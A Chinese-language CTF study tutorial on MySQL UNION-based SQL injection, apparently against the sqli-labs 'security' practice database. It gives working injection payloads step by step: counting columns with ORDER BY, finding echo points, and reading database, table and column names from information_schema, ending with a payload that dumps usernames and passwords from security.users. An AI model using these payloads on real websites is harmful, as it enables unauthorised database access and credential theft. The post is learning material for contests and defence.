sql注入之union联合注入
ps:21号祥云杯,为了避免连到都签不上,临时抱一波佛脚。 声明1:本文章使用的数据皆为官网公示,为保护信息已做打码 声明2:此系列文章仅用于CTF学习及信息安全防御技术,建议读者应用之前在 本地 搭建数据库或靶场等实践环境,在公网使用相关技术前请通读 《网络安全法》
union联合注入
联合查询
啥是联合查询
select a from b union select c from d where e;
大致就是这样 显然union会一次显示两个查询结果我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。
联合查询的使用条件
当页面对不同的查询语句有不同的结果时可以使用,因为我们根据需要每一步的返回结果来判断和进行下一步操作
union注入流程
比较固话的套路 依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据
判断注入类型
举个栗子
id=1 id=1 id=1 --+
判断字段数
id=1 order by 1 --+
union有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们要对字段数进行判断 我们使用的是 order by number 其作用为输出第number列 可以看到此时页面正常,我们增加number直到报错,那么此时number-1即为字段数 可见有3个字段
判断回显点
id=1 union select 1,2,3 limit 1,1 --+ id=-1 union select 1,2,3 --+
当我们知道该表的字段数之后,我们还需要确定在哪个字段出会输出有效信息 可以尝试一下 可以看到我们在union select 后拼接了数字1,2,3 而此时我们看到还加入了limit 1,1 这是为什么呢? 联合查询的输出是严格按照顺序进行的,因此当id=1存在时会在第0行输出第一个sql语句查询到的结果,自然我们输入的数字就到了下一行 而 limit num1,num2的作用为从第num1行开始显示num2行内容
我们可以看到2,3被输出了,说明这两个位置都可以作为回显点 当然我们也可以不用limit语句,只需让前面sql语句查询结果为空即可 如图
爆库名
可能判断的时候特殊情况还得留个心眼,但是下面就没啥好说的了,基本都是套路
id=-1 union select 1,database(),3 --+
database()显示当前库名称 也可以使用group_concat() 将所有内容写入一行并输出
爆表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=security --+
解释一下payload:information_schema是mysql自带的库,记录了该数据库所有的表名和字段名 该句的含义为:查找数据库中security库下的所有表名 显然结果中的users十分关键
爆字段名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=security and table_name=users --+
同理 该payload可解释为:查询数据库security下表users中的所有字段,显然我们对结果中的uname与pwd很感兴趣
查数据
id=-1 union select 1,group_concat(username,0x5c,password),3 from security.users --+
0x5c是的十六进制编码,为了将uname与pwd分开,也可改成其他任意字符 该payload意为:查询security库中users表中字段username与password的所有信息
这时候我们就拿到了我们需要的数据,注入基本完成